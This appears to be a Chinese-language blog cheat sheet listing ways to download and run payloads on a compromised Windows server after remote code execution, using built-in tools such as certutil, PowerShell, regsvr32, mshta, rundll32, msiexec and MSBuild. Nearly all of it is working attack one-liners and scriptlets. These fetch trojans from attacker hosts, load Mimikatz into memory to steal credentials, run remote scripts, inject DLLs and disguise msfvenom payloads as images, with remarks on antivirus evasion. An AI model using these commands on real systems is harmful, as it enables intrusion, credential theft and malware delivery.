windows下命令执行

背景:

很多RCE漏洞均能有效在靶机中执行命令,但存在服务器可出网与不可出网的区别。对windows服务器而言,如果能出网。我们利用RCE获取服务器shell的方式都离不开上传shellcode到靶机上,而其可使用姿势收集整理如下:

方式

certutil

1
2
3
证书服务的一部分,可用来下载木马。
certutil -urlcache -split -f http://x.x.x.x/msf a.exe && a.exe
certutil.exe -urlcache -split -f http://x.x.x.x/x.jar &&java -jar x.jar

powershell

1
2
3
4
5
6
7
8
9
10
a)、powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://x/1.jpg‘,'C:\Users\x\Desktop\test\12.exe')
b)、powershell (Invoke-WebRequest http://x/1.jpg -O x.jpg)
c)、也可以通过从UVC读取脚本执行:
powershell -exec bypass -f \\webdavserver\a.ps1
d)、内存加载:
1、powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

2、powershell -exec bypass -c "iwr https://gist.githubusercontent.com/Urahara3389/d83b6f9ccedf9aa53f70d987360dbc0e/raw/53ad790f87e0fd2c9449d5359358cd251c39297a/calc.ps1|iex"

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('cs shellcode address'))"

bitsadmin

1
2
3
bitsadmin 可用于创建下载或上传工作和监测其进展情况。不支持https、ftp协议。
bitsadmin /TRANSFER /DOWNLOAD http://x.x.x.x/a C:\tmp\1 下载文件到靶机中
bitsadmin /TRANSFER /UPLOAD D:\\1.ps \\共享目录\folder\xx 上传到共享目录(未测试)

CScript/WScript

1
2
3
4
5
6
7
8
两种方式,第一种直接执行UNC路径下的文件:
cscript //E:jscript \\webdavserver\folder\payload.txt

第二种分两步先写入脚本后调用:
a)
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open ^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> c:\windows\temp\d.vbs
b)
cscript C:\Windows\Temp\d.vbs http://x.x.x.x/a C:\Windows\Temp\1.exe

CSC

1
2
3
4
5
6
该方式也是通过先写入具有下载功能的c语言程序,通过csc打包成exe,再通过该exe下载
1、echo using System.Net;class WebDL { static void Main(string[] args){System.Net.WebClient client = new WebClient();client.DownloadFile(args[0],args[1]);}} > c:\windows\temp\svhost.cs
2、找到csc的所在目录,然后调用编译cs文件:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc /out:c:\windows\temp\svhost.exe C:\Windows\Temp\svhost.cs
3、使用svhost.exe执行下载
c:\windows\temp\dl.exe http://xx/a.sh c:\windows\temp\a.sh

FTP

1
2
3
4
5
先将要执行的命令写入到ftp.txt,再使用ftp -s:ftp.txt执行文本中的命令
ftp.txt:
open xx.x.x.x 21
GET xxx.exe
quit

JScript

1、写入以下文件执行即可a.js:

1
2
3
4
5
6
7
8
9
10
11
12
var Object = WScript.CreateObject("MSXML2.XMLHTTP");
Object.open("GET","http://x/a",false);
Object.send();
if (Object.Status == 200)
{
var Stream = WScript.CreateObject("ADODB.Stream");
Stream.Open();
Stream.Type = 1;
Stream.Write(Object.ResponseBody);
Stream.SaveToFile("C:\\Users\\x\\Desktop\\test\\212.exe", 2);
Stream.Close();
}

regsvr32

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
regsvr32 /u /s /i:http://site.com/a.png scrobj.dll
远程加载

a.png:

<?XML version="1.0"?>
<scriptlet>
<registration
progid="ShortJSRAT"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Learn from Casey Smith @subTee -->
<script language="JScript">
<![CDATA[
ps = "ps script";
new ActiveXObject("WScript.Shell").Run(ps,0,true);

]]>
</script>
</registration>
</scriptlet>

mshta

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
mshta接受URL作为一个参数来执行HTA
1) mshta http://xxxx.com/test.hta
使用 mshta \\webdavserver\folder\payload.hta 还可隐藏mshta.exe所下载的内容。
Msht具有执行内联脚本的能力,它将下载并执行一个脚本作为有效负载:
2) mshta vbscript:Close(Execute("GetObject(""script:http://xxxxx.com/payload.sct"")"))

test.hta:
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "xxx.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>

rundll32

1
2
3
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();Object=new%20ActiveXObject("Microsoft.XMLHTTP");Object.open("GET","http://reverse-tcp.xyz/test.exe",false);Object.send();if(Object.Status==200){Stream=new%20ActiveXObject("ADODB.Stream");Stream.Open();Stream.Type=1;Stream.Write(Object.ResponseBody);Stream.SaveToFile("E:\\test\\ssss2.exe",2);Stream.Close();}

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://127.0.0.1:8081/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}%

pubprn.vbs

1
2
3
pubprn.vbs是windows 7以后操作系统中存在的WSH脚本,它使用了GetObject()并且参数可控。
cscript /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct
详情可参考:https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/

1

winrm.vbs/slmgr.vbs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
使用该方式执行命令首先需要上传一个xsl文件,如下图所示:
WsmPty.xsl:

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"></output>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
]]> </ms:script>
</stylesheet>

在上传xsl文件之后,使用以下批处理文件进行启动:
mkdir %SystemDrive%\可控目录
copy %windir%\System32\cscript.exe %SystemDrive%\BypassDir
%SystemDrive%\可控目录\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty

msiexec

先通过msf生成msi木马文件,在使用该命令包含msi文件上线。(免杀是个关键问题)
msiexec /q /i http://x/x.png
msf生成msi格式即可,可重命名为png
msfvenom -f msi xxx > x,png

IEExec

1
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\IEExec.exe http://xx.x/a.exe

Cmd

cmd.exe /k < \\webdavserver\1.txt 需要使用UNC/WebDAV服务器

Regasm/Regsvc

1
2
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\1.dll
需要使用UNC/WebDAV服务器

Msbuild

1
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\x.xml > x.xml & !MB! x.xml"

pcalua.exe

pcalua.exe -a \\webdavserver\1.dll 需要使用UNC/WebDAV服务器

Cmstp

cmstp.exe /ni /s c:\cmstp\CorpVPN.inf
该方式未复现,先记录一下:https://www.anquanke.com/post/id/86685

MavInject32

1
2
查阅资料是使用以下命令将恶意dll文件注入到正常进程中执行:(测试未建立连接2333)
C:\Windows\SysWOW64\mavinject.exe <PID> /INJECTRUNNING <PATH DLL>

Odbcconf

1
2
3
两种加载恶意dll文件执行的方式,/F后可拼接任意后缀。
odbcconf.exe /A {REGSVR evil.dll}
odbcconf.exe / F odbcconf.config(可写一个任意后缀文件,里面内容加载获取shell的dll。如果文件未在odbcconf.exe目录下dll文件需有绝对路径。)

其他

1、执行命令的方式可跟其他技术结合,因此总结该文又浮现一个大坑。

免杀问题。无论是打破边界获取入口点权限还是内网拓展、钓鱼攻击等等情况都对免杀有绝对依赖。

2、UNC/WebDAV路径利用相关文章:https://www.anquanke.com/post/id/86894

3、一个JS加载.Net程序的工具:DotNetToJScript https://www.4hou.com/tools/6171.html

-------------本文结束感谢您的阅读-------------